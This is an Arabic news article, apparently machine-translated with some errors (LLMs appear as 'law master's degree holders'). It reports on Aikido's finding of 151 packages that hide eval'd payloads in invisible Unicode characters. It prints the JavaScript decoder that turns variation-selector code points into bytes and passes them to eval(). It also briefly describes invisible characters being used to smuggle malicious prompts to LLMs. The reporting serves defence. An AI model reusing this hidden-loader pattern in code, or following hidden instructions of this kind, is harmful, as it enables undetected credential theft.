
يتم تقديم الكود غير المرئي باستخدام مناطق الاستخدام العام (تسمى أحيانًا الوصول للاستخدام العام)، وهي نطاقات في مواصفات Unicode للأحرف الخاصة المحجوزة للاستخدام الخاص في تعريف الرموز التعبيرية والأعلام والرموز الأخرى. وتمثل نقاط الكود كل حرف من الحروف الأبجدية الأمريكية عند إدخالها إلى أجهزة الكمبيوتر، ولكن مخرجاتها غير مرئية تمامًا للبشر. الأشخاص الذين يراجعون الكود أو يستخدمونه تحليل ثابت الأدوات ترى فقط مسافات بيضاء أو أسطر فارغة. بالنسبة لمترجم JavaScript، تترجم نقاط التعليمات البرمجية إلى تعليمات برمجية قابلة للتنفيذ.
تم ابتكار أحرف Unicode غير المرئية منذ عقود ثم تم نسيانها إلى حد كبير. أي حتى عام 2024، عندما بدأ المتسللون في استخدام الشخصيات لإخفاء المطالبات الضارة يتم تغذيتها لمحركات الذكاء الاصطناعي. في حين أن النص كان غير مرئي للبشر والماسحات الضوئية للنص، لم يواجه حاملو شهادة الماجستير في القانون صعوبة كبيرة في قراءته واتباع التعليمات الخبيثة التي ينقلونها. منذ ذلك الحين، ابتكرت محركات الذكاء الاصطناعي حواجز حماية مصممة لتقييد استخدام الشخصيات، لكن مثل هذه الدفاعات موجودة يتم تجاوزها بشكل دوري.
منذ ذلك الحين، تم استخدام تقنية Unicode في المزيد من هجمات البرامج الضارة التقليدية. وفي إحدى الحزم التي حللها أيكيدو في منشور يوم الجمعة، قام المهاجمون بتشفير حمولة ضارة باستخدام الأحرف غير المرئية. فحص الكود لا يظهر شيئا. ومع ذلك، أثناء وقت تشغيل JavaScript، تقوم وحدة فك ترميز صغيرة باستخراج البايتات الحقيقية وتمريرها إلى وظيفة eval().
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));
وأوضح أيكيدو أن “سلسلة backtick التي تم تمريرها إلى s() تبدو فارغة في كل مشاهد، ولكنها مليئة بأحرف غير مرئية، والتي بمجرد فك تشفيرها، تنتج حمولة ضارة كاملة”. “في الحوادث الماضية، قامت تلك الحمولة التي تم فك تشفيرها بجلب وتنفيذ برنامج نصي للمرحلة الثانية باستخدام Solana كقناة توصيل، قادرة على سرقة الرموز المميزة وبيانات الاعتماد والأسرار.”
منذ العثور على الجولة الجديدة من الحزم على GitHub، وجد الباحثون حزمًا مماثلة على npm وسوق VS Code. وقال أيكيدو إن الحزم الـ 151 التي تم اكتشافها من المحتمل أن تكون جزءًا صغيرًا منتشرًا عبر الحملة لأنه تم حذف العديد منها منذ تحميلها لأول مرة.
أفضل طريقة للحماية من آفة هجمات سلسلة التوريد هي فحص الحزم وتبعياتها بعناية قبل دمجها في المشاريع. يتضمن ذلك فحص أسماء الحزم والبحث عن الأخطاء المطبعية. إذا كانت الشكوك حول استخدام LLM صحيحة، فقد تبدو الحزم الضارة مشروعة بشكل متزايد، خاصة عندما تقوم أحرف Unicode غير المرئية بتشفير الحمولات الضارة.
